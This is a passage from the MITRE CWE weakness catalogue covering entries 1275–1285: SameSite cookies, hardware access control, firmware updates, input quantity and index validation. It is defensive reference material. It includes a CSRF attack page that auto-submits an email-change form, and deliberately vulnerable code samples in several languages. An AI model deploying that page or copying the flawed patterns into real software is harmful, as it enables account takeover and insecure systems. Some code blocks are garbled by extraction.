A good architecture should define appropriate protections or access controls to prevent modification by an adversary or untrusted agent, once the bootloader is authenticated.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2019-2267 | Locked memory regions may be modified through other interfaces in a secure-boot-loader image due to improper access control. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2267 |

CWE-1275: Sensitive Cookie with Improper SameSite Attribute

Weakness ID : 1275

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The SameSite attribute for sensitive cookies is not set, or an insecure value is used.

Extended Description

The SameSite attribute controls how cookies are sent for cross-domain requests. This attribute may have three values: 'Lax', 'Strict', or 'None'. If the 'None' value is used, a website may create a cross-domain POST HTTP request to another website, and the browser automatically adds cookies to this request. This may lead to Cross-Site-Request-Forgery (CSRF) attacks if there are no additional protections in place (such as Anti-CSRF tokens).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|------|-----|-----------------------------------|------|
| ChildOf | P | 284 | Improper Access Control | 631 |
| CanPrecede | 🔒 | 352 | Cross-Site Request Forgery (CSRF) | 797 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|---|--|------------|
| Confidentiality Integrity Non-Repudiation Access Control | Modify Application Data <i>If the website does not impose additional defense against CSRF attacks, failing to use the 'Lax' or 'Strict' values could increase the risk of exposure to CSRF attacks. The likelihood of the integrity breach is Low because a successful attack does not only depend on an insecure SameSite attribute. In order to perform a CSRF attack there are many conditions that must be met, such as the lack of CSRF tokens, no confirmations for sensitive actions on the website, a "simple" "Content-Type" header in the HTTP request and many more.</i> | Low |

Potential Mitigations

Phase: Implementation

Set the SameSite attribute of a sensitive cookie to 'Lax' or 'Strict'. This instructs the browser to apply this cookie only to same-domain requests, which provides a good Defense in Depth against CSRF attacks. When the 'Lax' value is in use, cookies are also sent for top-level cross-

domain navigation via HTTP GET, HEAD, OPTIONS, and TRACE methods, but not for other HTTP methods that are more like to cause side-effects of state mutation.

Effectiveness = High

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHttpRequest to read the headers directly and obtain the cookie.

Demonstrative Examples

Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The snippet of code below establishes a new cookie to hold the sessionId.

Example Language: JavaScript

(bad)

```
let sessionId = generateSessionId()
let cookieOptions = { domain: 'example.com' }
response.cookie('sessionId', sessionId, cookieOptions)
```

Since the sameSite attribute is not specified, the cookie will be sent to the website with each request made by the client. An attacker who can potentially perform CSRF attack by using the following malicious page:

Example Language: HTML

(attack)

```
<html>
  <form id=evil action="http://local:3002/setEmail" method="POST">
    <input type="hidden" name="newEmail" value="abc@example.com" />
  </form>
  <script>evil.submit()</script>
</html>
```

When the client visits this malicious web page, it submits a '/setEmail' POST HTTP request to the vulnerable website. Since the browser automatically appends the 'sessionId' cookie to the request, the website automatically performs a 'setEmail' action on behalf of the client.

To mitigate the risk, use the sameSite attribute of the 'sessionId' cookie set to 'Strict'.

Example Language: JavaScript

(good)

```
let sessionId = generateSessionId()
let cookieOptions = { domain: 'example.com', sameSite: 'Strict' }
response.cookie('sessionId', sessionId, cookieOptions)
```

MemberOf Relationships

CWE-1276: Hardware Child Block Incorrectly Connected to Parent System

Weakness ID : 1276

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

Signals between a hardware IP and the parent system design are incorrectly connected causing security risks.

Extended Description

Individual hardware IP must communicate with the parent system in order for the product to function correctly and as intended. If implemented incorrectly, while not causing any apparent functional issues, may cause security issues. For example, if the IP should only be reset by a system-wide hard reset, but instead the reset input is connected to a software-triggered debug mode reset (which is also asserted during a hard reset), integrity of data inside the IP can be violated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | [P] | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-------------------|------------|
| Confidentiality | Varies by Context | |
| Integrity | | |
| Availability | | |

Potential Mitigations

Phase: Testing

System-level verification may be used to ensure that components are correctly connected and that design security requirements are not violated due to interactions between various IP blocks.

Demonstrative Examples

Example 1:

Many SoCs use hardware to partition system resources between trusted and un-trusted entities. One example of this concept is the Arm TrustZone, in which the processor and all security-aware IP attempt to isolate resources based on the status of a privilege bit. This privilege bit is part of the input interface in all TrustZone-aware IP. If this privilege bit is accidentally grounded or left unconnected when the IP is instantiated, privilege escalation of all input data may occur.

Example Language: Verilog

(bad)

```
// IP definition
module tz_peripheral(clk, reset, data_in, data_in_security_level, ...);

    input clk, reset;
    input [31:0] data_in;
    input data_in_security_level;

    ...

endmodule

// Instantiation of IP in a parent system
module soc(...)

    ...

    tz_peripheral u_tz_peripheral(

        .clk(clk),

        .rst(rst),

        .data_in(rdata),

        //Copy-and-paste error or typo grounds data_in_security_level (in this example 0=secure, 1=non-secure) effectively
        promoting all data to "secure")

        .data_in_security_level(1'b0),

    );

    ...

endmodule
```

In the Verilog code below, the security level input to the TrustZone aware peripheral is correctly driven by an appropriate signal instead of being grounded.

Example Language: Verilog

(good)

```
// Instantiation of IP in a parent system
module soc(...)

    ...

    tz_peripheral u_tz_peripheral(

        .clk(clk),

        .rst(rst),

        .data_in(rdata),
```

```
// This port is no longer grounded, but instead drive by the appropriate signal
.data_in_security_level(rdata_security_level),

);

...

endmodule
```

MemberOf Relationships

CWE-1277: Firmware Not Updateable

| | |
|---------------------------|----------------------|
| Weakness ID : 1277 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product does not provide its users with the ability to update or patch its firmware to address any vulnerabilities or weaknesses that may be present.

Extended Description

Without the ability to patch or update firmware, consumers will be left vulnerable to exploitation of any known vulnerabilities, or any vulnerabilities that are discovered in the future. This can expose consumers to permanent risk throughout the entire lifetime of the device, which could be years or decades. Some external protective measures and mitigations might be employed to aid in preventing or reducing the risk of malicious attack, but the root weakness cannot be corrected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|------|--|------|
| ChildOf | B | 1329 | Reliance on Component That is Not Updateable | 1994 |
| PeerOf | B | 1310 | Missing Ability to Patch ROM Code | 1958 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Gain Privileges or Assume Identity | Medium |
| Integrity | Bypass Protection Mechanism | |
| Access Control | Execute Unauthorized Code or Commands | |
| Authentication | DoS: Crash, Exit, or Restart | |
| Authorization | <i>If an attacker can identify an exploitable vulnerability in one device that has no means of patching, the attack may be used against an entire class of devices.</i> | |

Detection Methods

Manual Analysis

Create a new installable boot image of the current build with a minor version number change. Use the standard installation method to update the boot image. Verify that the minor version number has changed. Create a fake image. Verify that the boot updater will not install the fake image and generates an invalid image error message.

Effectiveness = High

Architecture or Design Review

Check the consumer or maintainer documentation, the architecture/design documentation, or the original requirements to ensure that the documentation includes details for how to update the firmware.

Effectiveness = Moderate

Manual Dynamic Analysis

Determine if there is a lack of a capability to update read-only memory structure. This could manifest as a difference between the latest firmware version and current version within the device.

Effectiveness = High

Potential Mitigations

Phase: Requirements

Specify requirements to provide the ability to update the firmware.

Phase: Architecture and Design

Design the device to allow for updating the firmware.

Phase: Implementation

Implement the necessary functionality to allow the firmware to be updated.

Demonstrative Examples

Example 1:

A refrigerator has an Internet interface for the official purpose of alerting the manufacturer when that refrigerator detects a fault. Because the device is attached to the Internet, the refrigerator is a target for hackers who may wish to use the device other potentially more nefarious purposes.

Example Language: Other

(bad)

The refrigerator has no means of patching and is hacked becoming a spewer of email spam.

Example Language: Other

(good)

The device automatically patches itself and provides considerable more protection against being hacked.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2020-9054 | Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques

| | |
|---------------------------|----------------------------|
| Weakness ID : 1278 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

Information stored in hardware may be recovered by an attacker with the capability to capture and analyze images of the integrated circuit using techniques such as scanning electron microscopy.

Extended Description

The physical structure of a device, viewed at high enough magnification, can reveal the information stored inside. Typical steps in IC reverse engineering involve removing the chip packaging (decapsulation) then using various imaging techniques ranging from high resolution x-ray microscopy to invasive techniques involving removing IC layers and imaging each layer using a scanning electron microscope.

The goal of such activities is to recover secret keys, unique device identifiers, and proprietary code and circuit designs embedded in hardware that the attacker has been unsuccessful at accessing through other means. These secrets may be stored in non-volatile memory or in the circuit netlist.

Memory technologies such as masked ROM allow easier to extraction of secrets than One-time Programmable (OTP) memory.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|------------------------------|------|
| ChildOf | P | 693 | Protection Mechanism Failure | 1384 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Varies by Context <i>A common goal of malicious actors who reverse engineer ICs is to produce and sell counterfeit versions of the IC.</i> | |

Potential Mitigations

Phase: Architecture and Design

The cost of secret extraction via IC reverse engineering should outweigh the potential value of the secrets being extracted. Threat model and value of secrets should be used to choose the technology used to safeguard those secrets. Examples include IC camouflaging and obfuscation, tamper-proof packaging, active shielding, and physical tampering detection information erasure.

Demonstrative Examples

Example 1:

Consider an SoC design that embeds a secret key in read-only memory (ROM). The key is baked into the design logic and may not be modified after fabrication causing the key to be identical for all devices. An attacker in possession of the IC can decapsulate and delayer the device. After imaging the layers, computer vision algorithms or manual inspection of the circuit features locate the ROM and reveal the value of the key bits as encoded in the visible circuit structure of the ROM.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |

CWE-1279: Cryptographic Operations are run Before Supporting Units are Ready

| | |
|---------------------------|----------------------------|
| Weakness ID : 1279 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

Performing cryptographic operations without ensuring that the supporting inputs are ready to supply valid data may compromise the cryptographic result.

Extended Description

Many cryptographic hardware units depend upon other hardware units to supply information to them to produce a securely encrypted result. For example, a cryptographic unit that depends on an external random-number-generator (RNG) unit for entropy must wait until the RNG unit is producing random numbers. If a cryptographic unit retrieves a private encryption key from a fuse unit, the fuse unit must be up and running before a key may be supplied.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Common Consequences

| Scope | Impact | Likelihood |
|--|-------------------|------------|
| Access Control Confidentiality Integrity Availability Accountability Authentication Authorization Non-Repudiation | Varies by Context | |

Potential Mitigations

Phase: Architecture and Design

Best practices should be used to design cryptographic systems.

Phase: Implementation

Continuously ensuring that cryptographic inputs are supplying valid information is necessary to ensure that the encrypted output is secure.

Demonstrative Examples

Example 1:

The following pseudocode illustrates the weak encryption resulting from the use of a pseudo-random-number generator output.

Example Language: Other

(bad)

```
If random_number_generator_self_test_passed() == TRUE
then Seed = get_random_number_from_RNG()
else Seed = hardcoded_number
```

In the example above, first a check of RNG ready is performed. If the check fails, the RNG is ignored and a hard coded value is used instead. The hard coded value severely weakens the encrypted output.

Example Language: Other

(good)

```
If random_number_generator_self_test_passed() == TRUE
then Seed = get_random_number_from_RNG()
else enter_error_state()
```

CWE-1280: Access Control Check Implemented After Asset is Accessed

Weakness ID : 1280

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

A product's hardware-based access control check occurs after the asset has been accessed.

Extended Description

The product implements a hardware-based access control check. The asset should be accessible only after the check is successful. If, however, this operation is not atomic and the asset is accessed before the check is complete, the security of the system may be compromised.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--------------------------|------|
| ChildOf | P | 284 | Improper Access Control | 631 |
| ChildOf | ⊕ | 696 | Incorrect Behavior Order | 1388 |

Applicable Platforms

Language : Verilog (*Prevalence = Undetermined*)

Language : VHDL (*Prevalence = Undetermined*)

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|------------------------------------|------------|
| Access Control | Modify Memory | |
| Confidentiality | Read Memory | |
| Integrity | Modify Application Data | |
| | Read Application Data | |
| | Gain Privileges or Assume Identity | |
| | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Implementation

Implement the access control check first. Access should only be given to asset if agent is authorized.

Demonstrative Examples

Example 1:

Assume that the module foo_bar implements a protected register. The register content is the asset. Only transactions made by user id (indicated by signal usr_id) 0x4 are allowed to modify the register contents. The signal grant_access is used to provide access.

*Example Language: Verilog**(bad)*

```
module foo_bar(data_out, usr_id, data_in, clk, rst_n);  
    output reg [7:0] data_out;;  
    input wire [2:0] usr_id;  
    input wire [7:0] data_in;  
    input wire clk, rst_n;  
    wire grant_access;  
    always @ (posedge clk or negedge rst_n)  
    begin  
        if (!rst_n)  
            data_out = 0;  
        else  
            data_out = (grant_access) ? data_in : data_out;  
            assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;  
        end  
    endmodule
```

This code uses Verilog blocking assignments for data_out and grant_access. Therefore, these assignments happen sequentially (i.e., data_out is updated to new value first, and grant_access is updated the next cycle) and not in parallel. Therefore, the asset data_out is allowed to be modified even before the access control check is complete and grant_access signal is set. Since grant_access does not have a reset value, it will be meta-stable and will randomly go to either 0 or 1.

*Example Language: Verilog**(good)*

Flipping the order of the assignment of data_out and grant_access should solve the problem. The correct snippet of code is shown below.

```
always @ (posedge clk or negedge rst_n)  
begin  
    if (!rst_n)  
        data_out = 0;  
    else  
        assign grant_access = (usr_id == 3'h4) ? 1'b1 : 1'b0;  
        data_out = (grant_access) ? data_in : data_out;  
    end  
endmodule
```

CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior

Weakness ID : 1281

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

Specific combinations of processor instructions lead to undesirable behavior such as locking the processor until a hard reset performed.

Extended Description

If the instruction set architecture (ISA) and processor logic are not designed carefully, and tested thoroughly, certain combinations of instructions may lead to locking the processor or other unexpected and undesirable behavior. Upon encountering unimplemented instruction opcodes or illegal instruction operands the processor should throw an exception and carry on without negatively impacting security. However, specific combinations of legal and illegal instructions may cause unexpected behavior with security implications such as allowing unprivileged programs to completely lock the CPU.

Some examples are the Pentium f00f bug, MC6800 HCF, the Cyrix comma bug, and more generally other "Halt and Catch Fire" instructions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--------------------------------------|------|
| ChildOf | IP | 691 | Insufficient Control Flow Management | 1381 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|---------------------------|-------------------|------------|
| Integrity Availability | Varies by Context | |

Potential Mitigations

Phase: Testing

Implement a rigorous testing strategy that incorporates randomization to explore instruction sequences that are unlikely to appear in normal workloads in order to identify halt and catch fire instruction sequences.

Phase: Patching and Maintenance

Patch operating system to avoid running Halt and Catch Fire type sequences or to mitigate the damage caused by unexpected behavior. See [REF-1108].

Demonstrative Examples

Example 1:

The Pentium F00F bug is a real-world example of how a sequence of instructions can lock a processor. The "cmpxchg8b" instruction compares contents of registers with a memory location. The operand is expected to be a memory location, but in the bad code snippet it is the eax register. Because the specified operand is illegal, an exception is generated, which is the correct behavior and not a security issue in itself. However, when prefixed with the "lock" instruction, the processor deadlocks because locked memory transactions require a read and write pair of transactions to occur before the lock on the memory bus is released. The exception causes a read to occur but there is no corresponding write, as there would have been if a legal operand had been supplied to the cmpxchg8b instruction.

*Example Language: Other**(bad)*

```
lock cmpxchg8b eax
```

Observed Examples

CWE-1282: Assumed-Immutable Data is Stored in Writable Memory

| | |
|---------------------------|----------------------------|
| Weakness ID : 1282 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

Immutable data, such as a first-stage bootloader, device identifiers, and "write-once" configuration settings are stored in writable memory that can be re-programmed or updated in the field.

Extended Description

Security services such as secure boot, authentication of code and data, and device attestation all require assets such as the first stage bootloader, public keys, golden hash digests, etc. which are implicitly trusted. Storing these assets in read-only memory (ROM), fuses, or one-time

programmable (OTP) memory provides strong integrity guarantees and provides a root of trust for securing the rest of the system. Security is lost if assets assumed to be immutable can be modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|---|------|
| ChildOf |  | 668 | Exposure of Resource to Wrong Sphere | 1342 |
| CanPrecede |  | 471 | Modification of Assumed-Immutable Data (MAID) | 1030 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|-------------------|------------|
| Integrity | Varies by Context | |

Potential Mitigations

Phase: Implementation

All immutable code or data should be programmed into ROM or write-once memory.

Demonstrative Examples

Example 1:

Cryptographic hash functions are commonly used to create unique fixed-length digests used to ensure the integrity of code and keys. A golden digest is stored on the device and compared to the digest computed from the data to be verified. If the digests match, the data has not been maliciously modified. If an attacker can modify the golden digest they then have the ability to store arbitrary data that passes the verification check. Hash digests used to verify public keys and early stage boot code should be immutable, with the strongest protection offered by hardware immutability.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1283: Mutable Attestation or Measurement Reporting Data

Weakness ID : 1283

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The register contents used for attestation or measurement reporting data to verify boot flow are modifiable by an adversary.

Extended Description

A System-on-Chip (SoC) implements secure boot or verified boot. During this boot flow, the SoC often measures the code that it authenticates. The measurement is usually done by calculating the one-way hash of the code binary and extending it to the previous hash. The hashing algorithm should be a Secure One-Way hash function. The final hash, i.e., the value obtained after the completion of the boot flow, serves as the measurement data used in reporting or in attestation. The calculated hash is often stored in registers that can later be read by the party of interest to determine tampering of the boot flow. A common weakness is that the contents in these registers are modifiable by an adversary, thus spoofing the measurement.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | [P] | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--------------------------------------|------------|
| Confidentiality | Read Memory Read Application Data | |

Potential Mitigations

Phase: Architecture and Design

Measurement data should be stored in registers that are read-only or otherwise have access controls that prevent modification by an untrusted agent.

Demonstrative Examples

Example 1:

The SoC extends the hash and stores the results in registers. Without protection, an adversary can write their chosen hash values to these registers. Thus, the attacker controls the reported results.

To prevent the above scenario, the registers should have one or more of the following properties:

1. Should be Read-Only with respect to an adversary
2. Cannot be extended or modifiable either directly or indirectly (using a trusted agent as proxy) by an adversary
3. Should have appropriate access controls or protections

CWE-1284: Improper Validation of Specified Quantity in Input

| | |
|---------------------------|----------------------------|
| Weakness ID : 1284 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.

Extended Description

Specified quantities include size, length, frequency, price, rate, number of operations, time, and others. Code may rely on specified quantities to allocate resources, perform calculations, control iteration, etc. When the quantity is not properly validated, then attackers can specify malicious quantities to cause excessive resource allocation, trigger unexpected failures, enable buffer overflows, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |
| ParentOf |  | 606 | Unchecked Input for Loop Condition | 1241 |
| ParentOf |  | 789 | Memory Allocation with Excessive Size Value | 1517 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Often*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|--|------------|
| Other | Varies by Context <i>Since quantities are used so often to affect resource allocation or process financial data, they are often present in many places in the code.</i> | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.

Example Language: Java

(bad)

```
...
public static final double price = 20.00;
int quantity = currentUser.getAttribute("quantity");
double total = price * quantity;
chargeUser(total);
...
```

The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.

Example 2:

This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.

Example Language: C

(bad)

```
...
#define MAX_DIM 100
...
/* board dimensions */
int m,n, error;
board_square_t *board;
printf("Please specify the board height: \n");
error = scanf("%d", &m);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
printf("Please specify the board width: \n");
error = scanf("%d", &n);
if ( EOF == error ){
    die("No integer passed: Die evil hacker!\n");
}
if ( m > MAX_DIM || n > MAX_DIM ) {
    die("Value too large: Die evil hacker!\n");
}
board = (board_square_t*) malloc( m * n * sizeof(board_square_t));
...
```

While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2008-1440 | lack of validation of length field leads to infinite loop https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1440 |
| CVE-2008-2374 | lack of validation of string length fields allows memory consumption or buffer over-read https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2374 |

Notes**Maintenance**

This entry is still under development and will continue to see updates and content improvements.

CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input

Weakness ID : 1285

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties.

Extended Description

Often, indexable resources such as memory buffers or files can be accessed using a specific position, index, or offset, such as an index for an array or a position for a file. When untrusted input is not properly validated before it is used as an index, attackers could access (or attempt to access) unauthorized portions of these resources. This could be used to cause buffer overflows, excessive resource allocation, or trigger unexpected failures.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |
| ParentOf |  | 129 | Improper Validation of Array Index | 317 |
| ParentOf |  | 781 | Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code | 1491 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Often*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|-------------------|------------|
| Other | Varies by Context | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Effectiveness = High

Demonstrative Examples

Example 1:

The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.

Example Language: C

(bad)

```

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
        if (DOTLINE(buf))
            break;
        else if (sscanf(buf, "%d %d", &num, &size) == 2)
            sizes[num - 1] = size;
    }
    ...
}

```

In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.

Example Language: C

(good)

```

/* capture the sizes of all messages */
int getsizes(int sock, int count, int *sizes) {
    ...
    char buf[BUFFER_SIZE];
    int ok;
    int num, size;
    // read values from socket and added to sizes array
    while ((ok = gen_rcv(sock, buf, sizeof(buf))) == 0)
    {
        // continue read from socket until buf only contains '.'
